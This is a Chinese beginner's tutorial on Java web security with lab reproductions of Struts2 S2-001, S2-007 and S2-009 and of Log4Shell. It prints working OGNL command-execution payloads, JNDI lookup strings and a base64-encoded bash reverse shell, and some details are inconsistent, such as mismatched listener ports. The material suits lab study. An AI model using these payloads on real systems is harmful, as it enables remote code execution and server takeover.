Java安全入门

入门之前,要先过一遍Java基础语法,大概一两周的时间

本文还没写完,正在努力了。。。

目录

Java安全漫谈

Java漏洞

Struts 2

请求流程

框架判断

检测工具

常见CVE

复现环境

漏洞复现

S2-001复现

S2-007复现

S2-009复现

复现参考

Spring Boot

路由和版本

路由知识

版本知识

具体学习

总结

log4j2

简单介绍

漏洞情况

JNDI

LDAP

漏洞原理

影响版本

检测工具

复现环境

漏洞复现


入门第一步:

Java安全漫谈

Java安全漫谈-知识星球代码审计-网络安全文档类资源-CSDN下载

Java漏洞

这一部分包括但不限于

Struts2,Sping,log4j2,jastjson

下面为具体进行介绍(简单介绍+复现)

Struts 2

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

请求流程

  • 客户端发送请求的tomcat服务器

  • 请求经过一系列过滤器

  • FilterDispatcher调用ActionMapper来决定这个请求是否要调用某个Action

  • ActionMppaer决定调用某个ActionFilterDispatcher把请求给ActionProxy

  • ActionProxy通过Configuration Manager查看structs.xml,找到对应的Action类

  • ActionProxy创建一个ActionInvocation对象

  • ActionInvocation对象回调Action的execute方法

  • Action执行完毕后,ActionInvocation根据返回的字符串,找到相应的result,通过HttpServletResponse返回给服务器

框架判断

  • 看url里面的连接,如果是XXX.action结尾或直接XXX.do结尾的

  • 如果URL连接的文件没有后缀,则可能是struts2框架写的,看HTMl源码中加载/提交的文件后缀可判断。

  • 在 URL 的反斜杠部分添加网站不存在的路径,最好是随机字符串组成的较长路径,如果返回同样的页面,则大概率是 Struts2 框架,如果返回 404 或者是报错,则大概率是 Spring 框架。

  • 在 URL 的 Web 应用根目录下添加 /struts/domTT.css,如果返回 css 代码,那么 99% 是 Struts2。

    注:有一些低版本的 Struts2 框架,domTT.css 文件不存在,需要更换为其它静态文件路径。

  • 输入一个不存在的路径,返回 404 页面,或者传入一些乱码字符,造成当前页面 500 响应码报错,抛出异常信息。

    Struts2 常用的关键字有这些:例如 no action mapped、struts2、namespace、defined for action 等。

参考:红队第2篇:区分Spring与Struts2框架的几种新方法 - 网安

检测工具

https://github.com/HatBoy/Struts2-Scan

常见CVE

  • CVE-2016-3081 (S2-032)

  • CVE-2016-3687 (S2-033)

  • CVE-2016-4438 (S2-037)

  • CVE-2017-5638

  • CVE-2017-7672

  • CVE-2017-9787

  • CVE-2017-9793

  • CVE-2017-9804

  • CVE-2017-9805

  • CVE-2017-12611

  • CVE-2017-15707

  • CVE-2018-1327

  • CVE-2018-11776

复现环境

https://github.com/Medicean/VulApps/tree/master/s/struts2/

https://github.com/vulhub/vulhub/tree/master/struts2

漏洞复现

S2-001复现

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

影响版本:Struts 2.0.0 - 2.0.8

docker部署:

docker pull medicean/vulapps:s_struts2_s2-001
docker run -d -p 3344:8080 medicean/vulapps:s_struts2_s2-001

部署成功

Java安全入门_第1张图片

测试是否存在远程代码执行

Java安全入门_第2张图片

提交后

Java安全入门_第3张图片

返回123123,说明漏洞存在

使用工具Struts2-Scan扫描

python Struts2Scan.py -u http://IP:3344/login.action

Java安全入门_第4张图片

构造获取web路径poc:

%{
#[email protected]@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath("/")),
#response.flush(),
#response.close()
}

提交后返回

Java安全入门_第5张图片

构造查看权限的poc:

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

Java安全入门_第6张图片

执行任意命令时只需要,将上面poc里whoami的命令替换

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}

Java安全入门_第7张图片

使用工具Struts2-Scan获取命令执行shell

python Struts2Scan.py -u http://IP:3344/login.action -n S2-001 -e

Java安全入门_第8张图片

暂不支持

但是上面改扫到了S2-016,试试这个

Java安全入门_第9张图片

也不支持

S2-007复现

原理:age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞

影响版本:Struts 2.0.0 - 2.2.3

docker部署:

docker pull medicean/vulapps:s_struts2_s2-007
docker run -d -p 3344:8080 medicean/vulapps:s_struts2_s2-007

部署成功

Java安全入门_第10张图片

使用工具扫描

Java安全入门_第11张图片

未发现漏洞,离了大谱

Poc1:

使用bp抓包,插入poc

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27

Java安全入门_第12张图片

查看/etc/passwd -> 空格:%20 /:%2F

%27+%2B+%28%23_memberAccess%5B%22allFowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27cat%20%2Fetc%2Fpasswd%20/%27%29.getInputStream%28%29%29%29+%2B+%27

Java安全入门_第13张图片

S2-009复现

原理:OGNL提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。ParametersInterceptor中的正则表达式将top ["foo"](0)作为有效的表达式匹配,OGNL将其作为(top ["foo"])(0)处理,并将“foo”操作参数的值作为OGNL表达式求值。这使得恶意用户将任意的OGNL语句放入由操作公开的任何String变量中,并将其评估为OGNL表达式,并且由于OGNL语句在HTTP参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过ParametersInterceptor和OGNL库保护。

影响版本:Struts 2.1.0 - 2.3.1.1

docker部署:

Dockerfile

FROM vulhub/tomcat:8.5

LABEL maintainer="phithon "

RUN set -ex \
    && rm -rf /usr/local/tomcat/webapps/* \
    && chmod a+x /usr/local/tomcat/bin/*.sh

COPY S2-009.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

docker-compose.yml

version: '2'
services:
 struts2:
   build: .
   ports:
    - "3344:8080"

启动:docker-compose up -d

部署成功

Java安全入门_第14张图片

使用工具扫描

Java安全入门_第15张图片

离谱+1

Poc1:

使用bp抓包,插入poc

/ajax/example5.action?age=123&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%[email protected]@getRuntime().exec(%27ls%20%2F%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%[email protected]@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

Java安全入门_第16张图片

如果改完包再在浏览器中发送,会有个下载文件

Java安全入门_第17张图片

打开就是数据包返回的内容

Java安全入门_第18张图片

lth师傅要让我们开始挖洞了,时间紧迫,就复现到这里吧

复现参考

复现参考:盘点:史上最全Struts 2漏洞复现过程及PoC合集 - 安全内参 | 决策者的网络安全知识库

Spring Boot

 只给出前置知识点:

路由和版本

路由知识

  • 有些程序员会自定义 /manage/management项目 App 相关名称为 spring 根路径

  • Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径

  • Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv

版本知识

Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。

组件版本的相互依赖关系

依赖项 版本列表及依赖组件版本
spring-boot-starter-parent spring-boot-starter-parent
spring-boot-dependencies spring-boot-dependencies
spring-cloud-dependencies spring-cloud-dependencies

Spring Cloud 与 Spring Boot 版本之间的依赖关系:

Spring Cloud 大版本 Spring Boot 版本
Angel 兼容 Spring Boot 1.2.x
Brixton 兼容 Spring Boot 1.3.x、1.4.x
Camden 兼容 Spring Boot 1.4.x、1.5.x
Dalston 兼容 Spring Boot 1.5.x,不兼容 2.0.x
Edgware 兼容 Spring Boot 1.5.x,不兼容 2.0.x
Finchley 兼容 Spring Boot 2.0.x,不兼容 1.5.x
Greenwich 兼容 Spring Boot 2.1.x
Hoxton 兼容 Spring Boot 2.2.x

Spring Cloud 小版本号的后缀及含义:

小版本号后缀 含义
BUILD-SNAPSHOT 快照版,代码不是固定,处于变化之中
MX 里程碑版
RCX 候选发布版
RELEASE 正式发布版
SRX (修复错误和 bug 并再次发布的)正式发布版

具体学习

GitHub - LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list

总结

主要是相关配置不当的接口,重点关注

/env、/actuator/env

/refresh、/actuator/refresh

/restart、/actuator/restart    

根据不同的利用条件,通过GET、POST方法可以获取脱敏信息

或者是在传参处执行特定表达式,或远程命令执行

一般来说,远程命令执行都需要可以访问目标特定接口,且目标可以出网

log4j2

简单介绍

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIXSyslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

一句话:log4j是目前最流行的java开源日志处理框架 , 是Apache的子项目

漏洞情况

Apache Log4j2 是一款优秀的 Java 日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。

通过网上公开资料,这个漏洞的细节已经完全公开

根据网络公开新闻,可以梳理出以下时间脉络:

  • 2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞。

  • 2021 年 12 月 06 日,log4j2 发布修复包 log4j-2.15.0-rc1.jar

  • 2021 年 12 月 10 日,log4j2 发布修复包 log4j-2.15.0-rc2.jar

  • 2021 年 12 月 10 日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过请及时更新至 Apache Log4j 2.15.0-rc2 版本

漏洞事件回顾

JNDI

Java安全入门_第19张图片

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

简单粗暴理解:有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。那不同的数据源肯定有不同的查找方式,所以JNDI也只是一个上层封装,在它下面也支持很多种具体的数据源。

LDAP

LDAP即Lightweight Directory Access Protocol(轻量级目录访问协议),目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。

这个东西用在统一身份认证领域比较多,简单粗暴理解:有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

漏洞原理

借用网上看到的非常容易理解的一段话

假如某一个Java程序中,将浏览器的类型记录到了日志中:

String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);

这其中,User-Agent就属于外界输入的信息,而不是自己程序里定义出来的。只要是外界输入的,就有可能存在恶意的内容。

假如有人发来了一个HTTP请求,他的User-Agent是这样一个字符串:

${jndi:ldap://127.0.0.1/exploit}

接下来,log4j2将会对这行要输出的字符串进行解析。

首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。

进一步解析,发现是JNDI扩展内容。

再进一步解析,发现了是LDAP协议,LDAP服务器在127.0.0.1,要查找的key是exploit。

最后,调用具体负责LDAP的模块去请求对应的数据。

如果只是请求普通的数据,那也没什么,但问题就出在还可以请求Java对象!

Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。

如果是自己定义的序列化方式也还好,但更危险的在于:JNDI还支持一个叫命名引用(Naming References)的方式,可以通过远程下载一个class文件,然后下载后加载起来构建对象。

影响版本

Apache log4j2 2.0 - 2.14.1

检测工具

dnslog手动检测

${jndi:ldap://[dnslog]}

注意需要URL编码

Java安全入门_第20张图片

Log4j-scan

一款用于查找log4j2漏洞的python脚本,支持url检测,支持HTTP请求头和POST数据参数进行模糊测试。

https://github.com/fullhunt/log4j-scan

制品级Log4j2漏洞检测工具

本检测工具基于腾讯安全的binAuditor,支持 Jar/Ear/War包上传,一键上传即可获取到检测结果。

https://bsca.ms.qq.com/

复现环境

docker环境

service docker start
docker pull vulfocus/log4j2-rce-2021-12-09
​
docker run -d -p 3344:8080 vulfocus/log4j2-rce-2021-12-09

漏洞复现

首先下载JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

执行命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1

这里的YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNzc3NyAwPiYx

base64解码:bash -i >& /dev/tcp/127.0.0.1/7777 0>&1

参数包括-C是执行的bash命令,-c参数后面是执行的具体命令,用双引号引起来 -A 指攻击机的IP。

Java安全入门_第21张图片

攻击机监听5007端口

nc -lvvp 5007

向靶机传参:

${jndi:payload}
​
https://127.0.0.1/?payload=${jndi:payload}
https://127.0.0.1/?payload=$%7bjndi:payload%7d

之后等待获得shell即可

你可能感兴趣的:(java,web安全)